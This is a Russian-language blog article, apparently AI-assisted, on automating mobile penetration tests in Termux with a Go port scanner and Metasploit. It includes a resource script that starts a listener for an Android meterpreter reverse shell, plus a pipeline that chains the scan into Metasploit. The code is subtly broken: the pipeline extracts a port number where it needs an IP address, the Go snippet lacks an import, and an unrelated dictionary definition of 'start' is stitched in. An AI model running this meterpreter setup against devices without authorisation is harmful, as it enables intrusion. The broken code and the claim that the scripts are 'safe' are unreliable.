We detected you are likely not from a Russian-speaking region. Would you like to switch to the international version of the site?

  Назад к списку статей

Разработка безопасных скриптов для автоматизации пентеста в Termux с применением Go и Metasploit

Подробное руководство по созданию безопасных автоматизированных скриптов в Termux с использованием Go и Metasploit: от установки до практических примеров и рекомендаций по защите кода.

Termux – это полноценное Linux‑окружение для Android, которое предоставляет возможность писать, компилировать и исполнять скрипты непосредственно на мобильном устройстве. Для специалистов по информационной безопасности это открывает новые горизонты: можно проводить пентест «на ходу», использовать привычные инструменты (Metasploit, Nmap, sqlmap) и писать собственные утилиты на быстрых языках, например Go.

В этой статье мы разберём, как построить безопасные автоматизированные скрипты, минимизировать риск случайного раскрытия уязвимостей и обеспечить надёжную интеграцию с Metasploit.

Почему именно Termux?

  • Полный набор пакетов apt и pkg без root‑прав.
  • Поддержка golang, python, ruby и других языков.
  • Наличие tmux и ssh для многозадачности и удалённого управления.

Для начала работы необходимо установить базовые пакеты:

pkg update && pkg upgrade -y
pkg install git curl wget openssh tmux -y
pkg install golang metasploit -y

Определение термина «start» в контексте скриптов

Термин start в английском языке имеет несколько значений, среди которых – «начать действие», «запустить процесс»[merriam-webster.com](https://www.merriam-webster.com/dictionary/start) и «начать работу над чем‑то»[dictionary.com](https://www.dictionary.com/browse/start). При разработке скриптов важно чётко отделять инициализацию (запуск) от логики выполнения, чтобы избежать непреднамеренных побочных эффектов.

Безопасность скриптов: основные принципы

  1. Изоляция окружения. Запускайте скрипты в отдельном tmux‑сеансе или под отдельным пользователем (если устройство поддерживает multi‑user).
  2. Валидация входных данных. Никогда не доверяйте пользовательскому вводу – проверяйте тип, диапазон и длину.
  3. Минимизация привилегий. По возможности используйте runuser или sudo -u (в Termux — tsu при наличии root).
  4. Шифрование секретов. Храните пароли, токены и ключи в зашифрованных файлах .enc и расшифровывайте их только в памяти.
  5. Логирование без утечки. Пишите логи в /data/data/com.termux/files/home/logs и регулярно ротациюйте их.

Разработка утилиты на Go

Go — компилируемый язык с небольшим размером бинарника, что идеально подходит для мобильных устройств. Ниже пример простого сканера портов, который может быть использован как часть цепочки автоматизации.

package main

import (
    "fmt"
    "net"
    "time"
)

func scanPort(host string, port int) bool {
    address := fmt.Sprintf("%s:%d", host, port)
    conn, err := net.DialTimeout("tcp", address, 500*time.Millisecond)
    if err != nil {
        return false
    }
    conn.Close()
    return true
}

func main() {
    target := "192.168.1.100"
    fmt.Printf("Scanning %s...
", target)
    for port := 1; port <= 1024; port++ {
        if scanPort(target, port) {
            fmt.Printf("[+] Open port: %d
", port)
        }
    }
}

Скомпилировать и запустить:

go build -o portscanner main.go
./portscanner

Интеграция с Metasploit

Metasploit в Termux работает в режиме консоли msfconsole. Для автоматизации часто используют resource scripts (.rc‑файлы). Ниже пример auto_exploit.rc, который принимает IP‑адрес из переменной окружения, запущенной из Go‑утилиты.

# auto_exploit.rc
set RHOST $ENV{TARGET_IP}
set LHOST 0.0.0.0
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set ExitOnSession false
exploit -j -z

Запуск из Go:

import "os/exec"

func launchMetasploit(ip string) {
    os.Setenv("TARGET_IP", ip)
    cmd := exec.Command("msfconsole", "-r", "auto_exploit.rc")
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr
    cmd.Run()
}

Полный пример автоматизированного пайплайна

Сценарий pentest.sh демонстрирует последовательность действий:

#!/data/data/com.termux/files/usr/bin/bash

# 1. Инициализация окружения
export TERMUX_HOME=$HOME
mkdir -p $TERMUX_HOME/logs

# 2. Сканирование портов (Go‑утилита)
./portscanner > $TERMUX_HOME/logs/ports.txt
TARGET=$(grep "Open port: 445" $TERMUX_HOME/logs/ports.txt | awk '{print $4}')
if [ -z "$TARGET" ]; then
    echo "[!] No vulnerable ports found" >> $TERMUX_HOME/logs/pentest.log
    exit 1
fi

# 3. Запуск Metasploit с передачей найденного IP
export TARGET_IP=$TARGET
msfconsole -r auto_exploit.rc -q >> $TERMUX_HOME/logs/pentest.log 2>&1

# 4. Очистка временных данных
unset TARGET_IP

Важно помнить о безопасности: скрипт пишет только в каталог logs, не сохраняет пароли, а переменные окружения стираются после завершения.

Тестирование и отладка

  • Запускайте скрипт в tmux‑сеансе: tmux new -s pentest ./pentest.sh.
  • Проверяйте возвратные коды: echo $? – 0 – успех, >0 – ошибка.
  • Для отладки используйте set -x в начале Bash‑скрипта.

Заключение

Автоматизация пентеста в Termux с применением Go и Metasploit позволяет создавать лёгкие, быстрые и безопасные инструменты, которые работают напрямую на мобильных устройствах. Соблюдая принципы изоляции, валидации и шифрования, вы минимизируете риск утечки данных и обеспечиваете предсказуемое поведение скриптов.

Если вам нужен индивидуальный аудит ваших скриптов, разработка кастомных эксплойтов или настройка инфраструктуры для мобильного пентеста, команда RybinskLab готова помочь. Мы предоставляем услуги по:

  • Аудиту безопасности кода и CI/CD‑pipeline.
  • Разработке Go‑утилит под Termux с учётом лучших практик.
  • Интеграции Metasploit в автоматизированные сценарии.
  • Обучению и воркшопам по мобильному пентесту.

Свяжитесь с нами через контактную форму и начните защищать свои проекты уже сегодня.

* Текст статьи подготовлен и структурирован с использованием технологий искусственного интеллекта. Проверен и доработан перед публикацией.

Нужна помощь с настройкой Termux, Linux и серверов?

Я оказываю ИТ-услуги: настройка серверов, автоматизация, безопасность, помощь с Linux и инфраструктурой. Материалы сайта — только в ознакомительных и образовательных целях.

Связаться со мной
Поддержать проект